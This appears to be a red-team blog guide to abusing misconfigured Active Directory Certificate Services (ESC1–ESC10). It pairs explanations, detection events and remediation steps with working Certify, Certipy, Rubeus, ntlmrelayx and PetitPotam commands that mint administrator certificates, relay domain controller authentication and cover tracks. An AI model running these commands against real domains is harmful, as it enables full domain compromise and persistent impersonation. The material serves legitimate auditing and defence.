Back to Blog
Red Teaming

Exploiting Active Directory Certificate Services: A Practical Guide to ESC1-ESC8

OffSec Research Team
10 June 2026 • 09:00 AM17 min
Exploiting Active Directory Certificate Services: A Practical Guide to ESC1-ESC8
TL;DR — Active Directory Certificate Services (AD CS) is one of the most under-audited paths to Domain Admin in the modern enterprise. The 2021 SpecterOps research "Certified Pre-Owned" catalogued a family of misconfigurations — ESC1 through ESC8 — that let a low-privileged user mint certificates impersonating any account, including Domain Admins. This guide explains each escalation, the certificate concept that underpins them, and the exact tooling and remediations for every one.

Executive Summary

PKI feels like trustworthy infrastructure, so defenders rarely point offensive tooling at it. That is exactly why it is so productive for attackers. A certificate that says "I am the Domain Administrator" is, to Kerberos, as good as the password — and unlike a password, a stolen or forged certificate keeps working through password resets and often survives for a year or more.

The ESC ("Escalation") taxonomy describes how common Certificate Authority and template misconfigurations can be abused. ESC1–ESC8 fall into three broad buckets:

  • Vulnerable certificate templates (ESC1–ESC4) — templates that let requesters specify who they are, or that hand out dangerously powerful certificates.
  • CA-level and access-control flaws (ESC5–ESC7) — weaknesses in the CA's own configuration or ACLs.
  • Relay against the CA web enrolment (ESC8) — NTLM relay to the HTTP enrolment endpoint.

The standard offensive tooling is Certify (C#) and Certipy (Python); enumeration is typically done with Certify find /vulnerable or certipy find -vulnerable.

Background: Why a Certificate Equals Identity

Active Directory supports PKINIT — public-key authentication for Kerberos. A user can present a certificate to the KDC and receive a Ticket-Granting Ticket (TGT). The identity baked into that TGT is determined by the certificate's Subject Alternative Name (SAN). If an attacker can obtain a certificate whose SAN says administrator@corp.local and that chains to a trusted enterprise CA, the KDC will issue a TGT for the administrator — no password required.

Two preconditions make a certificate abusable for impersonation:

  • An authentication-capable EKU (Extended Key Usage), such as Client Authentication, PKINIT Client Authentication, Smart Card Logon, or the catch-all Any Purpose — or no EKU at all (a "subordinate CA"-style cert).
  • The ability to influence the SAN so the certificate names a victim account.
diagram — rendering…
flowchart TD
    A["Low-priv user"] --> B{"Find a template or CA<br/>misconfiguration"}
    B -->|"requester supplies SAN<br/>+ auth EKU"| C["ESC1"]
    B -->|"Any Purpose / SubCA EKU"| D["ESC2"]
    B -->|"Enrollment Agent"| E["ESC3"]
    B -->|"Template ACL writable"| F["ESC4"]
    B -->|"CA object ACL / weak"| G["ESC5/ESC7"]
    B -->|"EDITF_ATTRIBUTESUBJECTALTNAME2"| H["ESC6"]
    B -->|"NTLM relay to web enrol"| I["ESC8"]
    C & D & E & F & G & H & I --> J["Certificate impersonating<br/>a privileged account"]
    J --> K["PKINIT → TGT → Domain Admin"]
    style J fill:#1a230c,stroke:#fca311,color:#fef3c7
    style K fill:#2a0c14,stroke:#ef233c,color:#fee2e2

ESC1 — Requester-Specified SAN

The flaw: a certificate template that (a) allows enrolment by low-privileged users, (b) has an authentication EKU, and (c) has the flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set — meaning the requester chooses the subject/SAN.

This is the canonical AD CS escalation. The attacker enrolls in the template and simply asks for a certificate whose SAN is administrator. The CA, trusting the template's configuration, issues it.

text
Certify.exe request /ca:CA01\corp-CA /template:VulnTemplate /altname:administrator# → returns a .pfx for "administrator"# Convert and authenticate:Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt

With Certipy:

text
$ certipy req -u user@corp.local -p Password1 -ca corp-CA \    -template VulnTemplate -upn administrator@corp.local[*] Saving certificate and private key to 'administrator.pfx'$ certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1[*] Got TGT for 'administrator@corp.local'

Why it works: the three conditions together mean a normal user can request an authentication certificate for any identity. One template with these settings is game over.

ESC2 — Any Purpose / Subordinate CA EKU

The flaw: a template whose EKU is Any Purpose (2.5.29.37.0) or that has no EKU (making it usable like a subordinate-CA certificate). Even without ENROLLEE_SUPPLIES_SUBJECT, such a certificate is dangerously over-powered: an Any Purpose cert can be used for client authentication, and a no-EKU cert can be used to sign further certificates. ESC2 is frequently chained with ESC3 or used directly when the SAN can be influenced.

ESC3 — Enrollment Agent Certificates

The flaw: a template grants the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1). An enrollment-agent certificate lets its holder request certificates on behalf of other users. The attacker enrolls for an agent certificate (ESC3 condition 1), then uses it to request a logon certificate for a Domain Admin (ESC3 condition 2).

text
# 1. Obtain enrollment-agent certcertipy req -u user@corp.local -p pass -ca corp-CA -template EnrollmentAgent# 2. Use it to enrol "on behalf of" a privileged usercertipy req -u user@corp.local -p pass -ca corp-CA -template User \    -on-behalf-of 'CORP\administrator' -pfx user.pfx

ESC4 — Vulnerable Template Access Control

The flaw: the attacker has write permissions over a certificate template object (e.g. WriteDacl, WriteOwner, WriteProperty). Rather than abusing an existing misconfiguration, the attacker creates one: edit the template to add ENROLLEE_SUPPLIES_SUBJECT and an auth EKU (turning it into an ESC1), grab a cert, then revert the changes to cover tracks.

ESC4 is really an ACL problem wearing a PKI costume. It demonstrates why template DACLs deserve the same scrutiny as any other privileged AD object.

ESC5 — Vulnerable PKI Object Access Control

The flaw: weak ACLs on the broader PKI ecosystem — the CA server's computer object, the CA's RPC/DCOM, the Certificate Templates container, or the CA object in the configuration partition. Control of any of these can lead to issuing arbitrary certificates. ESC5 is a reminder that the CA host itself is a Tier-0 asset; compromising the server that runs the CA is equivalent to compromising the CA.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

The flaw: the CA has the flag EDITF_ATTRIBUTESUBJECTALTNAME2 enabled. With this set, any enrollee can specify a SAN in the request regardless of template settings. In effect, every template becomes an ESC1. This was historically a common "make smart-card enrolment easier" misconfiguration.

text
certutil -config "CA01\corp-CA" -getreg policy\EditFlags# look for EDITF_ATTRIBUTESUBJECTALTNAME2 in the output
Note: Microsoft's May 2022 updates (and the later strong-mapping enforcement) changed how SANs/UPNs are honoured, but ESC6 remained relevant in environments that had not applied or enforced those changes.

ESC7 — Vulnerable CA Access Control

The flaw: an attacker holds the ManageCA or ManageCertificates permission on the CA itself. ManageCA allows toggling CA configuration (including enabling EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6) and approving requests. A user with ManageCertificates can approve a pending request — so an attacker can submit a request that would normally need manager approval and then approve their own request.

ESC8 — NTLM Relay to AD CS Web Enrollment

The flaw: AD CS exposes an HTTP(S) web enrolment endpoint (http://ca/certsrv/) that by default accepts NTLM authentication and (critically) often lacks Extended Protection for Authentication (EPA). This makes it a relay target.

The attack coerces a privileged machine (e.g. a Domain Controller, via PetitPotam/PrinterBug) to authenticate to the attacker, who relays that NTLM authentication to the CA's web enrolment and requests a certificate for the coerced machine account. A DC machine certificate is a path to full domain compromise.

diagram — rendering…
sequenceDiagram
    participant A as Attacker (ntlmrelayx)
    participant DC as Domain Controller
    participant CA as AD CS /certsrv (HTTP)
    A->>DC: Coerce auth (PetitPotam / MS-EFSRPC)
    DC->>A: NTLM authentication
    A->>CA: Relay NTLM, request cert as DC$
    CA-->>A: Certificate for DC$
    A->>DC: PKINIT with DC$ cert → TGT
    Note over A,DC: DC machine identity → DCSync → domain compromise
text
# Relay setupntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support \    --adcs --template DomainController# Trigger coercionPetitPotam.py <attacker-ip> <dc-ip>

Quick-Reference: The ESC Family

IDRoot causePrimitive gainedPrimary fix
ESC1Template: enrollee-supplies-SAN + auth EKU + low-priv enrolCert for any identityRemove SAN flag; restrict enrolment
ESC2Any Purpose / no EKU templateOver-powered certScope EKUs tightly
ESC3Enrollment Agent EKU exposedEnrol on behalf of othersRestrict agent templates + restrictions
ESC4Writable template ACLTurn any template into ESC1Lock template DACLs
ESC5Weak PKI object ACLs / CA hostIssue arbitrary certsTreat CA as Tier-0
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2Every template → ESC1Disable flag; enforce strong mapping
ESC7ManageCA / ManageCertificates heldEnable ESC6 / self-approveAudit CA role assignments
ESC8NTLM relay to web enrolmentCert for relayed identityEnable EPA; disable HTTP enrol; require HTTPS

The Taxonomy Keeps Growing: ESC9-ESC11 and Beyond

The original "Certified Pre-Owned" paper defined ESC1–ESC8, but the research community has continued to extend the taxonomy as Microsoft's mitigations created new edge cases — particularly around the certificate-to-account mapping changes introduced in KB5014754.

  • ESC9 (no security extension). A certificate template with the CT_FLAG_NO_SECURITY_EXTENSION flag omits the new szOID_NTDS_CA_SECURITY_EXT SID-binding extension. Combined with control over a victim's userPrincipalName, an attacker can obtain a certificate that maps to a different, more privileged account.
  • ESC10 (weak certificate mapping). Registry-level weak mapping configurations on the domain controller (e.g. permissive CertificateMappingMethods or disabled strong mapping) re-open UPN-based impersonation even after the May 2022 patches.
  • ESC11 (relay to ICertPassage/RPC). NTLM relay to the CA's RPC enrolment interface, an analogue of ESC8 that targets the RPC endpoint rather than the web endpoint when IF_ENFORCEENCRYPTICERTREQUEST is not set.

The lesson is that AD CS is an evolving attack surface. A point-in-time audit is insufficient; the configuration must be re-evaluated whenever Microsoft changes the certificate-mapping model, because each change creates a transitional window in which old templates behave in newly dangerous ways.

A Realistic End-to-End Attack Path

To make the abstract concrete, here is how these primitives compose in a real engagement, starting from an ordinary domain user account obtained via phishing.

diagram — rendering…
flowchart TD
    A["Foothold: low-priv<br/>domain user"] --> B["Enumerate AD CS<br/>certipy find -vulnerable"]
    B --> C["Discover ESC1 template<br/>(VulnTemplate)"]
    C --> D["Request cert with<br/>SAN = administrator"]
    D --> E["certipy auth → PKINIT<br/>→ TGT as administrator"]
    E --> F["DCSync with DA rights<br/>→ dump krbtgt"]
    F --> G["Forge Golden Tickets;<br/>full domain persistence"]
    style D fill:#1a230c,stroke:#fca311,color:#fef3c7
    style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2

The remarkable thing about this path is how little exploitation it involves. There is no memory corruption, no shellcode, no EDR evasion in the traditional sense — every step uses the certificate machinery exactly as designed. The attacker's only "exploit" is recognising that a template was misconfigured. From a detection standpoint this is precisely what makes AD CS abuse dangerous: the traffic looks like legitimate enrolment and legitimate Kerberos authentication, because mechanically it is.

Certificate-Based Persistence

Beyond escalation, certificates are an exceptional persistence mechanism — the THEFT and PERSIST techniques from the same body of research. A certificate, once issued, typically remains valid for one to two years and survives password resets, because PKINIT authentication does not depend on the account's password. An attacker who escalates once and then quietly enrolls an authentication certificate for a privileged account has a credential that outlives the usual incident-response reflex of "reset the compromised account's password."

The most severe persistence variant is stealing the CA's own private key. With the CA private key, an attacker can forge ("golden") certificates for any identity in the forest, entirely offline, with no enrolment event ever appearing in the CA logs. This is the certificate-services equivalent of a Golden Ticket and represents a forest-level compromise that is extremely difficult to remediate short of rebuilding the PKI. Protecting the CA private key — ideally in an HSM — is therefore non-negotiable for any organisation that takes its AD security seriously.

Remediation reality: if you suspect CA private-key theft, password resets and even rebuilding member servers will not help. The trust anchor itself is compromised, and the only complete fix is to stand up a new CA, re-issue certificates, and revoke the old chain — a major undertaking that underscores why the CA must be guarded as a crown-jewel asset.

Detection

AD CS abuse is quiet by default, but it is not invisible. Certificate issuance is logged on the CA.

Event / sourceMeaning
CA Event ID 4886Certificate request received
CA Event ID 4887Certificate issued — correlate SAN/UPN with requester identity
Security 4768Kerberos TGT request; PKINIT logons show certificate info
Mismatch huntRequester account ≠ certificate subject/UPN → strong ESC1/ESC6 signal
Coercion telemetryMS-EFSRPC / MS-RPRN traffic to DCs preceding a machine-cert issuance (ESC8)
Investigator's heuristic: the single highest-fidelity detection is "a certificate was issued whose subject identity differs from the authenticated requester." In a healthy PKI that should essentially never happen for authentication-capable templates.

Remediation Strategy

  • Enumerate first. Run certipy find -vulnerable (or Certify find /vulnerable) and triage every flagged template and CA setting. You cannot fix what you have not inventoried.
  • Kill ESC1 conditions. For any auth-capable template, remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT unless there is a hard requirement, and restrict enrolment permissions to the smallest possible group.
  • Disable ESC6. Ensure EDITF_ATTRIBUTESUBJECTALTNAME2 is off and enforce certificate-to-account strong mapping (per Microsoft's KB5014754 guidance).
  • Harden web enrolment (ESC8). Disable HTTP enrolment, require HTTPS, and enable Extended Protection for Authentication (channel binding) so relayed NTLM is rejected. Reduce coercion surface (patch/limit MS-EFSRPC, disable Print Spooler where unneeded).
  • Treat the CA as Tier-0. Restrict ManageCA/ManageCertificates, lock template and CA-object DACLs, and place CA servers in your most-protected administrative tier.
  • Monitor issuance. Forward 4886/4887 to your SIEM and alert on subject/requester mismatches.

MITRE ATT&CK Mapping

AD CS abuse maps across multiple ATT&CK tactics because the same certificate-minting capability supports initial privilege escalation, persistence, and lateral movement.

ATT&CK TacticTechnique IDTechnique NameHow AD CS abuse fits
Credential AccessT1649Steal or Forge Authentication CertificatesCore primitive: minting a certificate for a privileged account via ESC1/ESC3/ESC6
Privilege EscalationT1484.001Domain Policy Modification: Group Policy Object ModificationESC4/ESC7: rewriting template DACLs or CA config to create the exploit condition
Defense EvasionT1550.003Use Alternate Authentication Material: Pass the CertificatePKINIT with a stolen/forged cert produces a TGT without touching the account password
Lateral MovementT1550.003Use Alternate Authentication Material: Pass the CertificateForged certificate used to impersonate any account on any domain-joined resource
PersistenceT1649Steal or Forge Authentication CertificatesCertificate valid 1–2 years; survives password resets; CA key theft enables offline forgery
CollectionT1557.003Adversary-in-the-Middle: LDAP / NTLM RelayESC8: relay NTLM to web enrolment to obtain a DC machine certificate
DiscoveryT1482Domain Trust DiscoveryCertipy/Certify enumeration reveals template flags, EKUs, and CA ACLs
ImpactT1484Domain Policy ModificationEscalation to Domain Admin via forged cert → DCSync → full forest control

ESC9 and ESC10: Certificate Template Mapping Attacks

Microsoft's KB5014754 (May 2022) introduced strong certificate mapping to close the UPN-spoofing window that made ESC1 and ESC6 so dangerous. Rather than solve the problem cleanly, it created a transitional window — and two new escalation paths (ESC9 and ESC10) that exploit the gap between the old and new mapping models.

The Mapping Model Shift

Before KB5014754, Kerberos certificate authentication matched a certificate to an account by looking at the User Principal Name (UPN) in the Subject Alternative Name extension. The mapping was:

text
certificate SAN UPN: administrator@corp.local                          ↓          find account whose userPrincipalName = administrator@corp.local                          ↓                    issue TGT for that account

The fix introduced a new X.509 extension (szOID_NTDS_CA_SECURITY_EXT, OID 1.3.6.1.4.1.311.25.2) that embeds the object SID of the account in the certificate at issuance time. The KDC then enforces that the SID in the certificate matches the SID of the authenticating account — preventing UPN hijacking even if an attacker can control the UPN.

ESC9 — No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)

The flaw: a certificate template has the CT_FLAG_NO_SECURITY_EXTENSION (0x00080000) flag set in msPKI-Enrollment-Flag. This flag instructs the CA not to embed the new szOID_NTDS_CA_SECURITY_EXT SID extension in issued certificates. Without the SID binding, the KDC falls back to UPN-only mapping — and if the attacker can control the victim's userPrincipalName attribute, they can redirect authentication to a more privileged account.

Preconditions:

  • The attacker has GenericWrite (or equivalent) over a victim user account — enough to change userPrincipalName.
  • The target template has CT_FLAG_NO_SECURITY_EXTENSION set.
  • The CA is not in full enforcement mode (Mode 2) for KB5014754.

Attack flow with Certipy:

text
# 1. Change victim's UPN to match the privileged targetcertipy account update -u attacker@corp.local -p Password1 \    -user victim -upn administrator@corp.local # 2. Request a certificate using the victim accountcertipy req -u victim@corp.local -p victimpass \    -ca corp-CA -template NoSecExtTemplate # 3. Restore victim's original UPN (cover tracks)certipy account update -u attacker@corp.local -p Password1 \    -user victim -upn victim@corp.local # 4. Authenticate with the certificate — KDC maps it to administratorcertipy auth -pfx administrator.pfx -dc-ip 10.0.0.1[*] Got TGT for 'administrator@corp.local'

The key subtlety: the certificate was issued when the victim's UPN was set to `administrator@corp.local`, so it embeds that UPN in the SAN. Because the template suppressed the SID extension, the KDC cannot verify the SID doesn't match — it performs the old UPN-only lookup and issues a TGT for the Administrator.

ESC10 — Weak Certificate Mapping Registry Configuration

The flaw: even when certificates do contain the SID extension, the domain controller can be configured to ignore it. Two registry values on the DC control this behaviour:

Registry valueLocationEffect when set weakly
CertificateMappingMethodsHKLM\SYSTEM\CurrentControlSet\Services\KdcIf 0x1f (default pre-patch) is set, UPN-only mapping is still honoured as a fallback
StrongCertificateBindingEnforcementHKLM\SYSTEM\CurrentControlSet\Services\Kdc0 = Disabled (fully vulnerable); 1 = Compatibility mode (warns but allows UPN fallback); 2 = Full enforcement

An environment with StrongCertificateBindingEnforcement=0 or =1 is vulnerable to UPN-based impersonation even with the SID extension present in some certificates. ESC10 does not require a vulnerable template — only the GenericWrite on a user's userPrincipalName and a DC that has not moved to enforcement mode.

Detection and remediation priority: audit the StrongCertificateBindingEnforcement value across all domain controllers. Any value other than 2 means the domain is at minimum partially vulnerable. Microsoft's enforcement timeline has pushed most environments to Mode 2 by mid-2025, but domain controllers that missed the update or had the setting explicitly reverted remain exposed.

text
# Check enforcement mode on all DCs (run as domain admin)Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name {    Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\Kdc `        -Name StrongCertificateBindingEnforcement -ErrorAction SilentlyContinue}# 0 = Fully vulnerable, 1 = Compatibility mode, 2 = Full enforcement (target)

The practical lesson from ESC9 and ESC10 is that the May 2022 patches were a transition, not a fix. An organisation that applied KB5014754 but left StrongCertificateBindingEnforcement at 1 (the default for compatibility) delayed rather than closed the vulnerability. Only Mode 2 enforcement, combined with a clean template audit confirming no CT_FLAG_NO_SECURITY_EXTENSION templates remain, closes both paths.

Conclusion and Takeaways

The ESC1–ESC8 family is a masterclass in how trusted infrastructure becomes a privilege-escalation highway when its configuration is never reviewed with an attacker's eye. None of these techniques rely on a memory-corruption exploit or a zero-day; they rely on default-permissive templates, over-broad ACLs, and an enrolment service that speaks unauthenticated-relayable NTLM. The fixes are equally mundane — tighten template flags, scope EKUs, lock down ACLs, enable channel binding.

The strategic lesson for any AD-owning organisation is to put PKI on the same audit cadence as Domain Admin group membership. A certificate is a long-lived, password-reset-surviving credential that the KDC trusts implicitly. An attacker who can mint one for administrator has not "found a bug" so much as been handed the keys. Audit your templates before someone else enumerates them for you.